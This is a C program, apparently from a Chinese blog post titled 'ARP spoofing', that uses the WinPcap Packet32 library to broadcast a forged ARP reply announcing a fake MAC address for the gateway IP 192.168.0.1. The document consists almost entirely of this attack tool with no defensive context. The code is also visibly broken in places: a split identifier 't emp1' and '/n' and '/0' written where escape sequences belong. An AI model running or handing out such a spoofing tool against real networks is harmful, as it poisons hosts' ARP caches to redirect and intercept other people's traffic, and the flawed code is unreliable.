- #include <stdio.h>
- #include <string.h>
- #include <Packet32.h>
- #define EPT_ARP 0x0806
- #define EPT_IP 0x0800
- #define ARP_HARDWARE 0x0001
- #define ARP_REQUEST 0x0001
- #define ARP_REPLY 0x0002
- #pragma pack(push, 1) // 设置对齐为1,并保存原有对齐设置
- typedef struct {
- unsigned char ether_dst[6];
- unsigned char ether_src[6];
- unsigned short ether_type;
- } Ether_Header;
- typedef struct {
- unsigned short arp_hrd;
- unsigned short arp_pro;
- unsigned char arp_hln;
- unsigned char arp_pln;
- unsigned short arp_op;
- unsigned char arp_sha[6];
- unsigned long arp_spa;
- unsigned char arp_tha[6];
- unsigned long arp_tpa;
- } ARP_Header;
- typedef struct {
- Ether_Header ether_header;
- ARP_Header arp_header;
- } ARP_Packet;
- #pragma pack(pop) // 恢复对齐设置
- void GetMacAddr(const char *s, unsigned char *mac)
- {
- char i = 0, _tmp[18], key[] = ":-";
- strncpy(_tmp, s, 18);
- char *p = strtok(_tmp, key);
- while (p) {
- mac[i++] = (unsigned char)strtol(p, NULL, 16);
- p = strtok(NULL, key);
- }
- }
- int main(int argc, char *argv[])
- {
- ARP_Packet packet;
- memset(&packet, 0, sizeof(packet));
- WCHAR AdapterList[4][256];
- WCHAR AdapterNames[1024];
- memset(AdapterNames, 0, sizeof(AdapterNames));
- memset(AdapterList, 0, sizeof(AdapterList));
- ULONG AdapterLength = 1024;
- if (PacketGetAdapterNames((char*)AdapterNames, &AdapterLength) == FALSE) {
- printf("PacketGetAdapterNames Error./n");
- exit(1);
- }
- char *temp, *temp1;
- temp = temp1 = (char *)AdapterNames;
- int i = 0;
- while ((*temp != '/0') || (*(temp - 1) != '/0')) {
- if (*temp == '/0') {
- memcpy(AdapterList[i], temp1, (temp - temp1));
- t emp1 = temp + 1;
- i++;
- }
- temp++;
- }
- LPADAPTER lpAdapter = PacketOpenAdapter((LPTSTR)AdapterList[1]);
- if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) {
- printf("PacketOpenAdapter Error./n");
- exit(1);
- }
- LPPACKET lpPacket = PacketAllocatePacket();
- if (!lpPacket) {
- printf("PacketAllocatePacket Error./n");
- exit(1);
- }
- char PacketBuf[512];
- memset(PacketBuf, 0, sizeof(PacketBuf));
- unsigned char MacAddr[6];
- GetMacAddr("FF:FF:FF:FF:FF:FF", MacAddr);
- memcpy(packet.ether_header.ether_dst, MacAddr, 6);
- GetMacAddr("11:11:11:11:11:11", MacAddr);
- memcpy(packet.ether_header.ether_src, MacAddr, 6);
- packet.ether_header.ether_type = htons(EPT_ARP);
- packet.arp_header.arp_hrd = htons(ARP_HARDWARE);
- packet.arp_header.arp_pro = htons(EPT_IP);
- packet.arp_header.arp_hln = 6;
- packet.arp_header.arp_pln = 4;
- packet.arp_header.arp_op = htons(ARP_REPLY);
- GetMacAddr("11:11:11:11:11:11", MacAddr);
- memcpy(packet.arp_header.arp_sha, MacAddr, 6);
- packet.arp_header.arp_spa = inet_addr("192.168.0.1");
- memcpy(PacketBuf, (char *)&packet, sizeof(packet));
- PacketInitPacket(lpPacket, PacketBuf, 60);
- if (PacketSetNumWrites(lpAdapter, 2) == FALSE) {
- printf("PacketSetNumWrites Error./n");
- exit(1);
- }
- if (PacketSendPacket(lpAdapter, lpPacket, TRUE) == FALSE) {
- printf("PacketSendPacket Error./n");
- exit(1);
- }
- printf ("OK./n");
- PacketFreePacket(lpPacket);
- PacketCloseAdapter(lpAdapter);
- return 0;
- }
ARP 欺骗
最新推荐文章于 2022-11-05 14:38:55 发布